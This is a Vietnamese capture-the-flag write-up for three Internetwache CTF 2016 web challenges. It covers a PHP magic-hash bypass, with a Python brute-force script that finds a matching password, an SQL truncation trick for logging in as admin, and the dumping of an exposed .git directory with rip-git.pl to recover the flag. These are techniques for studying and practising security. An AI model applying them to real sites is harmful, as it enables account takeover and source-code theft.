[CTF] Write Up Internetwache Ctf 2016 Web50 70 80

2016-02-24

Web50

Bài này cho một đoạn code như sau:

    <?php  
    $admin_user = "pr0_adm1n";
    $admin_pw = clean_hash("0e408306536730731920197920342119");
    
    function clean_hash($hash) {  
        return preg_replace("/[^0-9a-f]/","",$hash);
    }
    function myhash($str) {  
        return clean_hash(md5(md5($str) . "SALT"));
    }

Nhìn qua thì có vẻ đoạn hash trên là kết quả của 2 lần md5 kèm với một chuỗi “SALT”.

Ầy, nhưng để ý đoạn hash khá lạ. Bắt đầu bằng 0e và theo sau đấy chỉ toàn là số. Có khi nào tương tự như kiểu chuỗi dạng hex 0x hoặc binary 0b trong sql? Sau khi google một lúc thì mình đã có một số thông tin thú vị từ cái chuỗi 0e này Why md5(‘240610708’) is equal to md5(‘QNKCDZO’)?

Như vậy bây giờ cần bruteforce ra một hash từ công thức md5(md5($password)."SALT") mà có ký tự đầu là 0e hoặc 00e , … và theo sau toàn là số.

Code python:

    import hashlib
    
    datax = raw_input("Input: ")  
    i = 0  
    while True:  
        alpha = hashlib.md5()
        alpha.update(str(i))
        beta = hashlib.md5()
        beta.update(str(alpha.hexdigest())+"SALT")
        rs = beta.hexdigest()
        if rs[:2]=="0e" or rs[:3] == "00e":
            if rs[2:31].isdigit() or rs[3:31].isdigit():
                print "[+] FOUND:"+str(i) 
                raw_input("Press c to continue searching")
        if i % 1000 == 0:
            print "[+] Searching: "+str(i)+" | "+rs
        i = i + 1

Kết quả in ra chính là password ta cần: 62778807

Web70

Bài này dùng lỗi sql truncation để tấn công.
Register một account với username admin x, password bất kỳ. Sau đó ta sẽ login được thành công vào account admin vì đoạn phía sau của username vượt quá số ký tự trong database.

Web80

Một site chỉ có code HTML > Source
Để ý có một dòng là:

It’s 2016 now and I need to somehow keep track of my changes to this document as it grows and grows. All people are talking about a tool called ‘Git’. I think I might give this a try.

Thử truy cập https://0ldsk00lblog.ctf.internetwache.org/.git/HEAD thành công => Giờ phải bê thư mục .git này về để kiểm tra xem có gì

Mình dùng một tool có sẵn, code bằng perl > rip-git.pl

Chạy tool và string flag trong thư mục .git này

    $ PERL_LWP_SSL_VERIFY_HOSTNAME=0 ./rip-git.pl -v -u https://0ldsk00lblog.ctf.internetwache.org/.git
    $ grep -r "flag" ./
    flag IW{G1T_1S_4W3SOME}